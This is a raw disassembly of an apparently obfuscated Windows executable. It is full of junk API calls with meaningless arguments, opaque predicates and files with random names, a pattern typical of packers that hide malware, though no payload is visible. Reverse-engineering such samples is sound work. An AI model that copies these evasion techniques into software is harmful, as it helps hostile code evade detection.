movabs rax, 0x7274ed328718a6
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
movabs rax, 0x76694e01b38513
cmp qword [rsp + 0x91a0], rax
jbe 0x1400108f5
mov eax, dword [rsp + 0x56fc]
and eax, 0x4c2c
mov dword [rsp + 0x56fc], eax
mov eax, dword [rsp + 0x56fc]
shr eax, 0x18
mov dword [rsp + 0x56fc], eax
mov eax, dword [rsp + 0x56fc]
shl eax, 0x1f
mov dword [rsp + 0x56fc], eax
movabs rax, 0x7b39e37eb3fb1f
mov rcx, qword [rsp + 0x91a0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x56fc]
or eax, 0xff06
mov dword [rsp + 0x56fc], eax
mov r8, qword [rsp + 0x91a0]
mov edx, dword [0x1401a8370]
mov ecx, dword [rsp + 0x56fc]
call fcn.14015c040
jmp 0x14015bea0
mov eax, 0x4b3
mov word [rsp + 0x1b80], ax
mov dword [rsp + 0x5700], 0xbfb1
mov dword [rsp + 0x5704], 0xed9
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0xb1c0], rax
movabs rax, 0x145a08350d275
cmp qword [rsp + 0xb1c0], rax
je 0x140010941
jmp 0x14015bdc7
movsx eax, word [rsp + 0x1b80]
cmp eax, 0x4a5
jg 0x1400109e1
lea rcx, [rsp + 0x1b80]
call qword [sym.imp.ole32.dll_CoGetContextToken]
mov dword [rsp + 0x5708], eax
mov eax, dword [rsp + 0x56fc]
shr eax, 0x15
mov dword [rsp + 0x56fc], eax
movsx eax, word [rsp + 0x1b80]
xor eax, 0x3a
mov word [rsp + 0x1b80], ax
movabs rax, 0x7afc78442fb3e2
mov rcx, qword [rsp + 0x91a0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov rcx, qword [rsp + 0xb1c8]
call qword [sym.imp.ole32.dll_CoRevokeInitializeSpy]
mov dword [rsp + 0x570c], eax
mov r8, qword [rsp + 0x91a0]
mov edx, dword [0x1401a8370]
mov ecx, dword [rsp + 0x56fc]
call fcn.14015c040
jmp 0x14015bd74
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x200
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.zxDN1l5EeIQ2g
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb1d0], rax
mov dword [rsp + 0x5710], 0x17b9
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0xb1d8], rax
movabs rax, 0x145a08350d275
cmp qword [rsp + 0xb1d8], rax
je 0x140010aa1
movabs rax, 0x72b0ffacc1db69
cmp qword [rsp + 0xb1d8], rax
je 0x140010a65
jmp 0x14015bd4c
mov eax, dword [rsp + 0x56fc]
add eax, 0xff57
mov dword [rsp + 0x56fc], eax
mov eax, dword [0x1401a8370]
sub eax, 0x7c93
mov dword [0x1401a8370], eax
mov eax, dword [rsp + 0x56fc]
and eax, 0x64d2
mov dword [rsp + 0x56fc], eax
jmp 0x14015bd4c
mov byte [rsp + 0x377], 0xb4
movsx eax, byte [rsp + 0xe7]
imul eax, eax, 0x38
mov byte [rsp + 0xe7], al
movzx eax, byte [rsp + 0x377]
mov byte [rsp + 0x378], al
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0xb1e0], rax
movabs rax, 0x77a63ceba9add6
mov rcx, qword [rsp + 0xab58]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
mov eax, 0xe37
mov word [rsp + 0x1b84], ax
mov dword [rsp + 0x5714], 0x10588
lea rcx, str.NSnX_M5x
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1b88], ax
mov dword [rsp + 0x5718], 0x10c51
movzx eax, byte [rsp + 0x378]
add eax, 0xf7
movzx ecx, byte [rsp + 0x377]
cmp eax, ecx
je 0x140010c57
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0xb1e8], rax
movabs rax, 0x145a08350d275
cmp qword [rsp + 0xb1e8], rax
je 0x140010b90
movabs rax, 0x72fb8b7d01fce1
cmp qword [rsp + 0xb1e8], rax
je 0x140010c3a
jmp 0x140010c57
mov eax, dword [0x1401a8370]
mov dword [rsp + 0x571c], eax
mov rax, qword [rsp + 0xab58]
mov qword [0x1401e3500], rax
mov eax, dword [rsp + 0x56fc]
sub eax, 0xe342
mov dword [rsp + 0x4bd4], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0xe7]
mov qword [rsp + 0xb1f0], rax
mov dword [rsp + 0x5720], 0xe614
mov dword [rsp + 0x5724], 0xc8ab
movzx eax, word [rsp + 0x1b84]
mov word [rsp + 0x1b8c], ax
mov rax, qword [rsp + 0xab58]
mov qword [rsp + 0xb1f8], rax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x378]
add eax, ecx
mov byte [rsp + 0x2fe], al
movzx eax, word [rsp + 0x1b84]
mov word [rsp + 0x1b90], ax
jmp 0x140010c57
mov rdx, qword [rsp + 0xb200]
mov rcx, qword [rsp + 0xb208]
call qword [sym.imp.ole32.dll_OleSetAutoConvert]
mov dword [rsp + 0x5728], eax
mov dword [rsp + 0x572c], 0x822d
movzx eax, word [rsp + 0x1b80]
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb1f8]
mov qword [rsp + 0xb210], rax
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [0x1401a8038], al
mov dword [rsp + 0x5730], 0x8ae3
mov dword [rsp + 0x5734], 0x9b48
mov eax, dword [rsp + 0x4bd4]
or eax, 0x72e0
mov dword [rsp + 0x56fc], eax
movabs rax, 0x7466ecad99c60d
mov rcx, qword [rsp + 0xb1e0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [0x1401a8370]
shl eax, 5
mov dword [rsp + 0x571c], eax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x2fe]
and eax, ecx
mov byte [rsp + 0x378], al
movsx eax, word [rsp + 0x1b94]
sub eax, 0x27b
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
mov dword [rsp + 0x20], 0x3fdf
mov r9d, 0x187e
mov r8d, 0x2f59
mov edx, 0x21f
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x5738], eax
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
lea rdx, [rsp + 0x573c]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x5740], eax
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
movabs rax, 0x76436d0fbe79ef
mov rcx, qword [rsp + 0xb1e0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov eax, dword [rsp + 0x56fc]
sub eax, 0xbc12
mov dword [rsp + 0x4bd4], eax
mov r9d, 2
lea r8, [rsp + 0xb218]
mov rdx, qword [rsp + 0xb218]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x5744], eax
mov eax, dword [0x1401a8370]
sub eax, 0x1b32
mov dword [rsp + 0x571c], eax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x1b8c], ax
movsx eax, word [rsp + 0x1b80]
shl eax, 2
mov word [rsp + 0x1b94], ax
lea rcx, [rsp + 0x192b0]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0xab58]
movzx ecx, al
mov rax, qword [rsp + 0xb1f8]
sar rax, cl
mov qword [rsp + 0xb210], rax
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1b84]
or eax, ecx
mov word [rsp + 0x1b90], ax
mov eax, dword [rsp + 0x5730]
add eax, 0x8b
mov dword [rsp + 0x5730], eax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x377]
xor eax, ecx
mov byte [rsp + 0x2fe], al
movsx eax, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [0x1401a8038], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GlobalUnWire]
movabs rax, 0x78118ea0477932
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [0x1401a8370]
add eax, 0x6b06
mov dword [rsp + 0x571c], eax
movzx ecx, word [rsp + 0x1b88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1b98], ax
mov eax, dword [rsp + 0x56fc]
sub eax, 0x7107
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb1f8]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb210], rax
mov edx, 0x7702e0
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x5748], eax
lea rcx, str.kBTSW8t_6rstY
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x1b98], ax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xe7], al
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1b90]
and eax, ecx
mov word [rsp + 0x1b84], ax
movsx eax, word [rsp + 0x1b80]
add eax, 0x130
mov word [rsp + 0x1b94], ax
mov rax, qword [rsp + 0xb1f8]
movzx ecx, al
mov rax, qword [rsp + 0xab58]
sar rax, cl
mov qword [0x1401e3500], rax
movabs rax, 0x731a95bea25bdd
mov rcx, qword [rsp + 0xb1e0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x91a0], rax
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x574c], eax
mov eax, dword [0x1401a8370]
shl eax, 0xd
mov dword [rsp + 0x571c], eax
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x5748], eax
mov eax, dword [rsp + 0x56fc]
xor eax, 0x99aa
mov dword [rsp + 0x4bd4], eax
cmp dword [rsp + 0x5730], 0x90dc
jb 0x140010cb3
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x2fe]
sub eax, ecx
mov byte [rsp + 0x377], al
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
and eax, ecx
movsx ecx, byte [rsp + 0xe7]
cmp eax, ecx
je 0x1400111a9
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
add eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1b80]
sub eax, 0x428
mov word [rsp + 0x1b94], ax
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0xab58]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1f8], rax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x377]
add eax, ecx
mov byte [rsp + 0x2fe], al
lea rdx, [rsp + 0x4bd4]
lea rcx, [rsp + 0x91a0]
call qword [sym.imp.ole32.dll_CoCopyProxy]
mov dword [rsp + 0x570c], eax
mov r8, qword [rsp + 0xb1e0]
mov edx, dword [rsp + 0x571c]
mov ecx, dword [rsp + 0x4bd4]
call fcn.14015c040
jmp 0x14015bd23
movabs rax, 0x7242dfa97761c3
mov rcx, qword [rsp + 0xb1e0]
sub rcx, rax
mov rax, rcx
cmp rax, qword [rsp + 0x91a0]
ja 0x14015bd23
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [0x1401a8374], ax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x188c], ax
mov dword [rsp + 0x5750], 0x1c80
mov eax, dword [rsp + 0x56fc]
mov dword [rsp + 0x5754], eax
mov eax, dword [rsp + 0x571c]
mov dword [rsp + 0x5758], eax
lea rax, [rsp + 0xb1e0]
mov qword [rsp + 0xb220], rax
mov rax, qword [rsp + 0xb1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x575c], al
cmp byte [rsp + 0x575c], 0x1d
je 0x140011257
jmp 0x1400112c7
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [0x1401a8374]
shl eax, cl
mov word [rsp + 0x1b80], ax
mov rax, qword [rsp + 0xb210]
movzx ecx, al
mov rax, qword [rsp + 0xb1f8]
sar rax, cl
mov qword [rsp + 0xab58], rax
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [0x1401a8374]
or eax, ecx
mov word [rsp + 0x1b94], ax
jmp 0x140011384
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x188c]
xor eax, ecx
mov word [rsp + 0x1b8c], ax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x2fe]
sub eax, ecx
mov byte [rsp + 0x33b], al
mov dword [rsp + 0x5760], 0x95c9
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x4bd4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0x91a0]
mov qword [rsp + 0xb228], rax
mov eax, dword [rsp + 0x571c]
mov dword [rsp + 0x5764], eax
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xb1f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
movzx eax, word [rsp + 0x1b94]
mov word [rsp + 0x1b9c], ax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x378]
imul eax, ecx
mov byte [rsp + 0x377], al
mov eax, dword [rsp + 0x5758]
mov dword [rsp + 0x5768], eax
cmp dword [rsp + 0x5768], 0x5826
je 0x1400113a1
jmp 0x14001141f
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb220]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x91a0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401a8038]
sub eax, ecx
mov byte [rsp + 0xe7], al
mov r9, qword [rsp + 0xb210]
mov r8d, dword [rsp + 0x5764]
mov edx, dword [rsp + 0x571c]
mov rcx, qword [rsp + 0xab58]
call fcn.14015c1e0
jmp 0x14015bcb1
mov eax, dword [rsp + 0x5758]
mov ecx, dword [rsp + 0x571c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x5764], eax
movzx eax, word [rsp + 0x1b94]
mov word [rsp + 0x1ba0], ax
movzx eax, word [rsp + 0x188c]
movzx ecx, word [rsp + 0x1b90]
sub eax, ecx
mov word [rsp + 0x1b8c], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateEventW]
mov qword [rsp + 0xb230], rax
mov rax, qword [rsp + 0xab18]
mov rcx, qword [rsp + 0xb210]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9bb8], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.u9xyRQ0s2hVoufyVMS5ZLyCNN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xb238], rax
mov dword [rsp + 0x576c], 0xbf8c
cmp dword [rsp + 0x5718], 0xffbd
jbe 0x140011969
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1ba0]
shl eax, cl
mov word [0x1401a8374], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PulseEvent]
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
xor eax, ecx
mov byte [rsp + 0x2fe], al
lea rdx, [rsp + 0xb240]
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x5770], eax
mov eax, dword [rsp + 0x5764]
movzx ecx, al
mov eax, dword [rsp + 0x571c]
sar eax, cl
mov dword [rsp + 0x5758], eax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x85a4
mov rcx, qword [rsp + 0xb1d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x5740], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xb1e0], rax
mov eax, dword [rsp + 0x5754]
mov ecx, dword [rsp + 0x56fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1b90], ax
mov rax, qword [0x1401e3500]
mov rcx, qword [rsp + 0x9bb8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [rsp + 0x1b94]
add eax, ecx
mov word [rsp + 0x1ba0], ax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov byte [0x1401a8038], al
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0xb228]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5718]
sub eax, 0x5c
mov dword [rsp + 0x5718], eax
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1b84]
add eax, ecx
mov word [rsp + 0x1b8c], ax
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xe7], al
mov eax, dword [rsp + 0x571c]
movzx ecx, al
mov eax, dword [rsp + 0x5764]
sar eax, cl
mov dword [rsp + 0x5758], eax
movsx eax, byte [rsp + 0xe7]
movsx ecx, byte [0x1401a8038]
shl eax, cl
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
lea rcx, [rsp + 0xb248]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xb1e0], rax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x378]
and eax, ecx
mov byte [rsp + 0x33b], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b80]
add eax, ecx
mov word [rsp + 0x1b94], ax
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateFiberEx]
lea rcx, [rsp + 0x192e0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov rax, qword [rsp + 0xab58]
mov rcx, qword [rsp + 0xb210]
sub rcx, rax
mov rax, rcx
mov qword [0x1401e3500], rax
movzx eax, byte [rsp + 0x377]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x2fe], al
movzx eax, word [rsp + 0x1b90]
movzx ecx, word [rsp + 0x1b8c]
add eax, ecx
mov word [rsp + 0x1b84], ax
mov rax, qword [rsp + 0xb1e0]
mov rcx, qword [rsp + 0x91a0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x5754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4bd4], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xb1e0], rax
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1b94]
sub eax, ecx
mov word [rsp + 0x1b9c], ax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xab18]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xab58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x574c], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb1e0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5758]
movzx ecx, al
mov eax, dword [rsp + 0x5764]
sar eax, cl
mov dword [0x1401a8370], eax
movsx eax, byte [0x1401a8038]
mov rcx, qword [rsp + 0xb1f0]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe7], al
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [0x1401a8374]
or eax, ecx
mov word [rsp + 0x1ba0], ax
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x5754]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [rsp + 0x571c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0xb228]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov rax, qword [rsp + 0xb210]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleCount]
jmp 0x1400114df
mov rax, qword [rsp + 0xb1f0]
movzx eax, byte [rax]
mov byte [rsp + 0x5774], al
cmp byte [rsp + 0x5774], 0
je 0x140011a02
cmp byte [rsp + 0x5774], 0x44
je 0x140011994
jmp 0x140011ac1
lea rdx, [rsp + 0xb210]
mov rcx, qword [rsp + 0xb250]
call qword [sym.imp.ole32.dll_StringFromCLSID]
mov dword [rsp + 0x5778], eax
movzx eax, byte [rsp + 0x378]
movzx ecx, byte [rsp + 0x33b]
add eax, ecx
mov byte [rsp + 0x2fe], al
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1b84]
sub eax, ecx
mov word [rsp + 0x1b90], ax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b9c]
and eax, ecx
mov word [0x1401a8374], ax
jmp 0x140011ac1
mov eax, dword [0x1401a8370]
mov ecx, dword [rsp + 0x5758]
add ecx, eax
mov eax, ecx
mov ecx, dword [rsp + 0x5764]
mov edx, dword [rsp + 0x571c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x140011a9d
mov rax, qword [rsp + 0xb228]
movzx ecx, al
mov rax, qword [rsp + 0xb1e0]
shr rax, cl
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov r9d, 1
lea r8, [rsp + 0xb200]
lea rdx, [rsp + 0x4bd4]
lea rcx, [rsp + 0xb1c8]
call qword [sym.imp.ole32.dll_MonikerRelativePathTo]
mov dword [rsp + 0x570c], eax
movzx r9d, word [rsp + 0x1b90]
mov r8, qword [rsp + 0x9bb8]
movzx edx, byte [rsp + 0xe7]
mov rcx, qword [rsp + 0xab18]
call fcn.14015bfb0
jmp 0x140011ac1
movsx eax, word [rsp + 0x1b80]
movsx ecx, word [rsp + 0x1ba0]
sub eax, ecx
movsx ecx, word [rsp + 0x1b94]
movsx edx, word [rsp + 0x1b9c]
xor ecx, edx
movzx ecx, word [rsp + 0x1b88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ba4], ax
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [0x1401a8374]
shl eax, cl
mov word [rsp + 0x1b94], ax
mov eax, dword [rsp + 0x56fc]
mov ecx, dword [rsp + 0x4bd4]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x5754], eax
mov eax, dword [rsp + 0x5764]
mov ecx, dword [0x1401a8370]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x5758], eax
mov rax, qword [rsp + 0xb220]
mov rcx, qword [rsp + 0x91a0]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xb220]
mov qword [rcx], rax
mov eax, dword [rsp + 0x5714]
sub eax, 0x5a
mov dword [rsp + 0x5714], eax
movzx eax, byte [rsp + 0x2fe]
movzx ecx, byte [rsp + 0x33b]
sub eax, ecx
mov byte [rsp + 0x378], al
mov edx, 0x67ef60
mov rcx, qword [rsp + 0xb238]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x577c], eax
movzx eax, word [rsp + 0x1b84]
movzx ecx, word [rsp + 0x1b90]
add eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0x9bb8]
mov rcx, qword [rsp + 0xb1f8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xab18], rax
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
sub eax, ecx
mov rcx, qword [rsp + 0xb1f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1ba0]
movsx ecx, word [rsp + 0x1b9c]
add eax, ecx
mov word [rsp + 0x1b80], ax
lea rcx, [rsp + 0x19310]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x378]
and eax, ecx
mov byte [rsp + 0x2fe], al
mov eax, dword [rsp + 0x4bd4]
mov ecx, dword [rsp + 0x5754]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x56fc], eax
mov rax, qword [rsp + 0xb228]
mov rcx, qword [rsp + 0x91a0]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xb1e0], rax
cmp dword [rsp + 0x5714], 0xec38
ja 0x140011ac1
mov eax, dword [rsp + 0x571c]
cdq
idiv dword [rsp + 0x5764]
mov dword [rsp + 0x5758], eax
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x1b84]
xor eax, ecx
mov word [rsp + 0x188c], ax
mov rax, qword [rsp + 0xab58]
mov qword [rsp + 0xb258], rax
movsx eax, word [rsp + 0x1b94]
movsx ecx, word [rsp + 0x1b9c]
sar eax, cl
mov word [rsp + 0x1b80], ax
mov eax, dword [rsp + 0x5758]
mov dword [0x1401e34f8], eax
movzx eax, word [rsp + 0x1b84]
mov word [rsp + 0x1ba8], ax
mov eax, dword [rsp + 0x5758]
mov dword [rsp + 0x5780], eax
cmp dword [rsp + 0x5780], 0x358f
je 0x140011cfa
jmp 0x140011d14
lea rcx, [rsp + 0xb250]
call qword [sym.imp.ole32.dll_CoGetCallerTID]
mov dword [rsp + 0x5778], eax
jmp 0x14015bc06
movzx eax, word [rsp + 0x1b8c]
movzx ecx, word [rsp + 0x188c]
sub eax, ecx
mov word [rsp + 0x1ba8], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov dword [rsp + 0x5784], 0x1258
movzx eax, byte [rsp + 0x33b]
movzx ecx, byte [rsp + 0x2fe]
sub eax, ecx
mov byte [rsp + 0x377], al
cmp dword [rsp + 0x5784], 0x58d2
je 0x140011f04
mov rax, qword [rsp + 0xb1f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xe7]
add eax, ecx
mov byte [0x1401a8038], al
movsx eax, word [rsp + 0x1b9c]
movsx ecx, word [0x1401a8374]
sub eax, ecx
mov word [rsp + 0x1b80], ax
movzx ecx, word [rsp + 0x1b98]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x1ba4], ax
mov rax, qword [rsp + 0xb210]
